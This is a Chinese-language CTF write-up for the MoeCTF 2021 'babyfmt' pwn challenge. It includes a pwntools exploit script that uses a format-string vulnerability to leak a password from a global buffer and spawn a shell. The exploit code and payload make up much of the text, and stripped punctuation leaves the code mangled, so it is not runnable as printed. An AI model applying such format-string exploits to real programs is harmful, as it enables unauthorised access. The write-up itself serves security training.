![[MoeCTF 2021]babyfmt_WP](http://pic.xiahunao.cn/yaotu/[MoeCTF 2021]babyfmt_WP)
利用格式化字符串漏洞获取所需信息平台NSSCTF方向pwn知识点格式化字符串难度中等一、信息获取checksec有NX、canary保护无PIE二、分析分析伪代码逻辑为将密码存入buf_,然后需要输入密码比对成功即可进入shellbuf_为全局变量但其地址可以直接在ida里查看并且程序无PIE因此思路为通过%s获取buf_里面的密码三、EXP先获取参数偏移量frompwnimport*context(oslinux,archi386,log_levelinfo)ioprocess(./pwn)io.recvuntil(your name:)io.send(bAAAAb-%p*20)io.recvuntil(Hello,)leakio.recvuntil(your passwd:)print(leak)参数偏移量为10expfrompwnimport*buf0x804C044offset10ioremote(...)payloadp32(buf)f%{offset}$s.encode()io.recvuntil(byour name:)io.send(payload)io.recvuntil(bHello,)leakio.recvuntil(byour passwd:,dropTrue)# 前 4 字节是塞进去的地址后面才是 %s 打出来的内容passwordu32(leak[4:8].ljust(4,b\x00))# 按有符号 int 比较负数要带负号ifpassword0x80000000:password-0x100000000io.sendline(str(password).encode())io.interactive()这里可能要多试几次因为%s遇到/00就停止如果密码中存在0就会导致密码提取不全四、总结格式化字符串漏洞利用思路仅供参考如有疑问或发现疏漏欢迎各位师傅在评论区指正交流。